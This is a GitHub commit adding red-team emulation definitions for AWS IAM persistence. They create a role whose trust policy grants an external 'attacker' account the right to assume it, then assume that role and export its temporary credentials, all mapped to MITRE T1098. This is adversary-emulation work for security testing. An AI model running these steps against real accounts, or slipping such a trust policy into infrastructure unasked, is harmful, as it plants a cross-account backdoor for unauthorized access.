Skip to content

Commit

Permalink
Create role, Access Role (#120)
Browse files Browse the repository at this point in the history
Summary:
Pull Request resolved: #120

Create Role TTP and Access Role TTP to be opensourced

Reviewed By: l50

Differential Revision: D59923648

fbshipit-source-id: f7c1740b7c0bebc89346f839f452dade762fcf9d
  • Loading branch information
w51d authored and facebook-github-bot committed Jul 18, 2024
1 parent d12b0ad commit a4aa497
Show file tree
Hide file tree
Showing 4 changed files with 181 additions and 0 deletions.
54 changes: 54 additions & 0 deletions ttps/cloud/aws/iam/create-and-access-iam-role/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# Create new IAM role

![Meta TTP](https://img.shields.io/badge/Meta_TTP-blue)

This TTP is used to create a new IAM role in AWS. It uses the AWS CLI to create a new role with the specified name.
If a role with given name exists, nothing is done and the TTP is closed.
If a role does not exist a new role is created. It is also deleted during cleanup.
A malicious trust policy is also attached to this role that provides an attacker AWS account to assume this role.
`--no-cleanup` options should be explicity specified if we do not want the new role created to be deleted.

After a backdoored role has been created, this backdoored role is also accessed from an attacker controlled account to verify that,
the implemented malicious policy works as intended.


## Arguments
### (Create-new-iam-role)
- **iam_role_name**: The name of the new IAM role to be created.
- **attacker_account_id**: Attacker AWS account ID which has been provisioned to access backdoored IAM role.

### (access-iam-role)
- **iam_role_name**: The name of the backdoored IAM role to be assumed.
- **backdoor_account_id**: Backdoor AWS account ID which has been provisioned to access backdoored IAM role.

## Steps

1. Set up necessary cloud environment variables.
2. Check if an IAM role exists with provided role name, exit if found.
3. Create a new IAM role with provided name.
5. Attach a malicious policy that gives external AWS account the ability to assume the role
4. By deafult during the cleanup, delete the recently created IAM role.

5. Verify the caller identity of attacker account
6. Assume the identity of victim using the backdoored role account
7. Verify the identity of assumed role.

## Manual Reproduction Steps

```
# Check if a user exists with provided user name
aws iam get-role --role-name "IAM_ROLE_NAME"
# Create a new user
aws iam create-role --role-name "IAM_ROLE_NAME" --assume-role-policy-document file://backdoor-trust-policy.json
# Assume backdoored role
aws sts assume-role --role-arn "arn:aws:iam::"BACKDOOR_ACCNT_ID":role/"IAM_ROLE_NAME"" --role-session-name "TTPforge_backdoor_role_sessioin"
```

## MITRE ATT&CK Mapping

- **Tactics**:
- TA0003 Persistence
- **Techniques**:
- T1098 Account Manipulation
56 changes: 56 additions & 0 deletions ttps/cloud/aws/iam/create-and-access-iam-role/access-iam-role.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
---
api_version: 2.0
uuid: cfe67367-8968-485c-8b26-8f05afee2b8a
name: access_new_iam_role
description: |
This TTP is used to access an existing backdoored IAM role from a compromised AWS account.
If a role with given name exists, nothing is done and the TTP is closed.
If a role does not exist a new role is created. It is also deleted during cleanup.
Since we are creating a role that can act as a backdoor, an AWS account ID of a backdoor account is required.
`--no-cleanup` options should be explicity specified if we do not want the new role created to be deleted.
args:
- name: iam_role_name
description: The name of the backdoored IAM role to be assumed.
default: ttpforge_trojan_role
- name: backdoor_account_id
description: AWS account ID which has been backdoored for access via attacker controled IAM role


mitre:
tactics:
- TA0003 Persistence
techniques:
- T1098 Account Manipulation

steps:
- name: aws-connector
description: This step invokes the verifies aws creds are present and aws cli is available.
ttp: //helpers/cloud/aws/validate-aws-env-configured.yaml
args:
region: "{{ .Args.region }}"


- name: verify_current_sts_identity
description: This step ensure that we are running this TTP from an attacker controlled account.
inline: |
echo -e "\n***** Display the caller identity of attacker AWS account. *****"
aws sts get-caller-identity
- name: assume_backdoored_IAM_role
description: |
This command assumes the IAM role of the backdoored account.
We then configure the account to use these credentials and verify that role is sucessfully assumed.
inline: |
CREDENTIALS=$(aws sts assume-role --role-arn "arn:aws:iam::{{.Args.backdoor_account_id}}:role/{{.Args.iam_role_name}}" --role-session-name "TTPforge_backdoor_role_session")
echo $CREDENTIALS | jq
# Extract the keys and token from the credentials
export AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Credentials.SessionToken')
echo -e "\n***** Display the caller identity of assumed victim account. *****"
aws sts get-caller-identity
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
---
api_version: 2.0
uuid: e4d3fc6f-f923-4026-8596-15f7561b79cb
name: create_iam_role
description: |
This TTP is used to create a new IAM role in AWS. It uses the AWS CLI to create a new role with the specified name.
If a role with given name exists, nothing is done and the TTP is closed.
If a role does not exist a new role is created. It is also deleted during cleanup.
A malicious trust policy is also attached to this role that provides an attacker AWS account to assume this role.
`--no-cleanup` options should be explicity specified if we do not want the new role created to be deleted.
args:
- name: iam_role_name
description: The name of the new IAM role to be created.
default: ttpforge_trojan_role
- name: attacker_account_id
description: Attacker AWS account ID which has been provisioned to access backdoored IAM role.

mitre:
tactics:
- TA0003 Persistence
techniques:
- T1098 Account Manipulation

steps:
- name: aws-connector
description: This step invokes the verifies aws creds are present and aws cli is available.
ttp: //helpers/cloud/aws/validate-aws-env-configured.yaml
args:
region: "{{ .Args.region }}"

- name: create-policy-file
create_file: backdoor-trust-policy.json
contents: |
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "arn:aws:iam::{{.Args.attacker_account_id}}:root"
},
"Effect": "Allow",
"Sid": ""
}
]
}
overwrite: true
cleanup: default

- name: create_new_role
description: Create a new role with specified argument.
inline: |
echo -e "Creating Role {{.Args.iam_role_name}} ...\n"
aws iam create-role --role-name {{.Args.iam_role_name}} --assume-role-policy-document file://backdoor-trust-policy.json
cleanup:
inline: |
echo -e "Recently created role {{.Args.iam_role_name}} found. \nProceeding with deleting the role during cleanup... \n "
aws iam delete-role --role-name {{.Args.iam_role_name}}
12 changes: 12 additions & 0 deletions ttps/helpers/cloud/aws/validate-aws-env-configured.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -35,3 +35,15 @@ steps:
else
echo -e "AWS CLI is installed: $(aws --version)"
fi
- name: check_jq_install
description: "Ensure JQ is installed. JQ is required to run some of the cloud TTPs"
inline: |
set -e
if ! [[ -x "$(command -v jq)" ]]; then
echo 'Error: jq is not installed.. Quitting !!' >&2
exit 1
else
echo -e "jq is installed: $(jq --version)"
fi

0 comments on commit a4aa497

Please sign in to comment.